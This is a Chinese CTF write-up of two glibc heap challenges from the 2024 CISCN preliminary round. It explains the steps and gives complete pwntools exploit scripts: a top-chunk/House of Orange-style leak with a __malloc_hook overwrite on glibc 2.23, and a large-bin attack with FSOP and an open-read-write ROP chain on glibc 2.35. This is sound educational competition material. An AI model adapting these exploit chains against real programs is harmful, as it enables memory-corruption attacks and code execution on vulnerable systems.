2024ciscn初赛两道经典堆题
2024ciscn初赛两道经典堆题 前言 这次国赛的pwn题目有些抽象,不过其中有两道比较经典的堆题,这里就详细的写一下 orange_cat_diary 思路 没想到能在国赛上再次见到2.23的orange,然后这个题还可以打malloc_hook,对于国赛来说,这个题目还是比较简单的,不过确实也是比较经典的堆题了 4个功能都有 限制在0x1000范围内,这里最经典的那道orange就是用
2024ciscn初赛两道经典堆题
前言
这次国赛的pwn题目有些抽象,不过其中有两道比较经典的堆题,这里就详细的写一下
orange_cat_diary
思路
没想到能在国赛上再次见到2.23的orange,然后这个题还可以打malloc_hook,对于国赛来说,这个题目还是比较简单的,不过确实也是比较经典的堆题了


4个功能都有

限制在0x1000范围内,这里最经典的那道orange就是用的0x1000申请的,这题同理

这里就给了一次uaf

edit可以修改的也比较多

一次show
简单来说就是限制了0x1000的申请,一次uaf,一次show,提示了打orange,所以直接从这方面入手就行
ru("Hello, I'm delighted to meet you. Please tell me your name.")
sl('PaT1Ent')
add(0x28,"aaaa")
pay = 'b'*0x28+p64(0xfd1)
edit(0x30,pay)
首先修改topchunk的size


然后申请大于0xfd1大小的堆块,将top_chunk送入unsorted bin
add(0x1000,"c")

然后申请出来带main_arena+88和fd_nextsize的large chunk
add(0x400,'bbbbbbbb')

这样libc和heap地址都能泄露
show()
ru('bbbbbbbb')
main_arena = uu64(r(6))
libc_base = main_arena-0x3c510a
leak('libc_base ',libc_base)
r(3)
heap=u64(p.recv(6).ljust(8,'\x00'))
heap_addr=heap<<8
leak('heap_addr ',heap_addr)

到目前为止,我们的uaf还没用,所以打malloc_hook
add(0x60,'eeee')
delete()
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(8,p64(malloc_hook-0x23))
2.23的malloc_hook要在0x70这条链表上面错位打(malloc_hook-0x23)

这里2.23版本有没有实际的chunk也无所谓,直接把_IO_wide_data_0+301申请出来就行,直接改成og就可以
add(0x60,'eeee')
pl='a'*0x13+p64(og)
add(0x60,pl)

然后在调用malloc的时候触发og
sla('Please input your choice:','1')
ru('Please input the length of the diary content:')
sl('666')

exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
context(os = 'linux',log_level = "debug",arch = 'amd64')
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
x64_32 = 1
if x64_32:
context.arch = 'amd64'
else:
context.arch = 'i386'
p=process('./pwn')
elf = ELF('./pwn')
libc=ELF('./libc-2.23.so')
add_idx = 1
delete_idx = 3
show_idx = 2
edit_idx = 4
def duan():
gdb.attach(p)
pause()
def choice(cho):
sla('Please input your choice:',cho)
def add(size,content):
choice(add_idx)
sla('Please input the length of the diary content:',size)
sla('Please enter the diary content:\n',content)
def delete():
choice(delete_idx)
def show():
choice(show_idx)
def edit(size,content):
choice(edit_idx)
sla('Please input the length of the diary content:',size)
sla('Please enter the diary content:\n',content)
def duan():
gdb.attach(p)
pause()
ru("Hello, I'm delighted to meet you. Please tell me your name.")
sl('F4atherw1t')
add(0x28,"aaaa")
pay = 'b'*0x28+p64(0xfd1)
edit(0x30,pay)
add(0x1000,"c")
add(0x400,'bbbbbbbb')
show()
ru('bbbbbbbb')
main_arena = uu64(r(6))
libc_base = main_arena-0x3c510a
leak('libc_base ',libc_base)
r(3)
heap=u64(p.recv(6).ljust(8,'\x00'))
heap_addr=heap<<8
leak('heap_addr ',heap_addr)
ogs=[0x45226,0x4527a,0xf03a4,0xf1247]
og=libc_base+ogs[2]
add(0x60,'eeee')
delete()
malloc_hook = libc_base + libc.sym['__malloc_hook']
edit(8,p64(malloc_hook-0x23))
add(0x60,'eeee')
pl='a'*0x13+p64(og)
add(0x60,pl)
#show()
sla('Please input your choice:','1')
ru('Please input the length of the diary content:')
sl('666')
#duan()
itr()
EzHeap
思路
这个题目就是2.35版本的堆题

同样是功能都有

add限制在0x500

无uaf

edit限制修改大小在0x500
很明显的堆溢出,因为修改范围很大,所以可以操作很多

开了沙箱,只允许open,read和write,不过open用的openat系统调用,这里不允许,所以直接用syscall就可以

因为沙箱设置,bin链表很乱
申请一个大点的chunk,把fastbin和unsortedbin中chunk的链入smallbin
add(0x450,'bbbb')

这时候也可以想办法泄露libc了

这里我选择了两个比较接近的chunk,覆盖一下泄露libc
add(0xe8,'bbbb')
pl=b'a'*0x258+b'kkkkkkkk'
edit(1,len(pl),pl)
show(1)
ru('kkkkkkkk')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ae70
然后防止idx乱,delete一下
delete(0)
delete(1)

然后用这俩泄露heap

这里就有heap,所以直接覆盖泄露
add(0x58,b'a')
pl=b'k'*0xa8+b'ffffffff'
edit(0,len(pl),pl)
show(0)
ru('ffffffff')
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
leak('libc_base ',libc_base)
leak('heap_addr ',heap_base)

下面的就好说了
add(0x250,'pppp')#idx=1
add(0x458,'aaaa')
add(0x458,'aaaa')
add(0x448,'aaaa')
add(0x448,'aaaa')#idx=5
留个0x250的chunk,用edit溢出去修改largebin chunk
orw写到一个chunk里

然后edit 0x250的chunk 去修改下面的large bin chunk
pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr)
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile)
pl+=p64(0)*0x14+p64(chunk0+0xe0+0xe8)
pl+=p64(0)*0xd+p64(magic_gadget)
edit(1,0x500,b'\x00'*0x258+p64(0x461)+pl)


然后触发large bin attack,再申请一个0x440大小的chunk就成功修改了io
add(0x4e0,'a')
add(0x440,'b')

exit触发即可
exit()
打出了本地的flag

exp
import os
import sys
import time
from pwn import *
from ctypes import *
context.os = 'linux'
context.log_level = "debug"
s = lambda data :p.send(str(data))
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(str(data))
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data :u32(data.ljust(4,b'\x00'))
uu64 = lambda data :u64(data.ljust(8,b'\x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
l32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,b"\x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']
context.terminal = ['gnome-terminal','-x','sh','-c']
p = process('./pwn')
libc = ELF('./libc.so.6')
add_idx = 1
delete_idx = 2
show_idx = 4
edit_idx = 3
def duan():
gdb.attach(p)
pause()
def choice(cho):
sla('choice >> ',cho)
def add(size,content):
choice(add_idx)
sla('size:',size)
sla('content:',content)
def delete(idx):
choice(delete_idx)
sla('idx:\n',idx)
def show(idx):
choice(show_idx)
sla('idx:',idx)
def edit(idx,size,content):
choice(edit_idx)
sla('idx:',idx)
sla('size:',size)
sla('content:',content)
def exit():
sla(b'choice >> ',b'5')
add(0x450,'bbbb')
add(0xe8,'bbbb')
pl=b'a'*0x258+b'kkkkkkkk'
edit(1,len(pl),pl)
show(1)
ru('kkkkkkkk')
libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x21ae70
delete(0)
delete(1)
add(0x58,b'a')
pl=b'k'*0xa8+b'ffffffff'
edit(0,len(pl),pl)
show(0)
ru('ffffffff')
heap_base=u64(p.recv(5).ljust(8,b'\x00'))<<12
leak('libc_base ',libc_base)
leak('heap_addr ',heap_base)
rdi = libc_base + 0x2a3e5
rsi = libc_base + 0x2be51
rdx_r12 = libc_base + 0x11f2e7
rax= libc_base + 0x45eb0
ret = libc_base + 0x29139
lock =0x3ed8b0+libc_base
magic_gadget = libc_base + 0x16a050 +26
syscall = libc_base + libc.sym['read'] + 0x10
io_all = libc_base + libc.sym['_IO_list_all']
wfile = libc_base + libc.sym['_IO_wfile_jumps']
leave_ret = libc_base + next(libc.search(asm('leave;ret;')))
orw_addr=heap_base+0x3210
flag_addr = heap_base+0x260
chunk0 = heap_base + 0x24b0
add(0x250,'pppp')#idx=1
add(0x458,'aaaa')
add(0x458,'aaaa')
add(0x448,'aaaa')
add(0x448,'aaaa')#idx=5
delete(2)
add(0x498,'a')
delete(4)
orw=b'./flag\x00\x00'
orw+=p64(rdx_r12)+p64(0)+p64(chunk0+0x30)
orw+=p64(rdi)+p64(orw_addr)
orw+=p64(rsi)+p64(0)
orw+=p64(rax)+p64(2)
orw+=p64(syscall)
orw+=p64(rdi)+p64(3)
orw+=p64(rsi)+p64(orw_addr+0x100)
orw+=p64(rdx_r12)+p64(0x50)+p64(0)
orw+=p64(rax)+p64(0)
orw+=p64(syscall)
orw+=p64(rdi)+p64(1)
orw+=p64(rsi)+p64(orw_addr+0x100)
orw+=p64(rdx_r12)+p64(0x50)+p64(0)
orw+=p64(rax)+p64(1)
orw+=p64(syscall)
edit(5,len(orw),orw)
pl=p64(0)+p64(leave_ret)+p64(0)+p64(io_all-0x20)
pl+=p64(0)*2+p64(0)+p64(orw_addr)
pl+=p64(0)*4
pl+=p64(0)*3+p64(lock)
pl+=p64(0)*2+p64(chunk0+0xe0)+p64(0)
pl+=p64(0)*4
pl+=p64(0)+p64(wfile)
pl+=p64(0)*0x14+p64(chunk0+0xe0+0xe8)
pl+=p64(0)*0xd+p64(magic_gadget)
edit(1,0x500,b'\x00'*0x258+p64(0x461)+pl)
add(0x4e0,'a')
add(0x440,'b')
exit()
itr()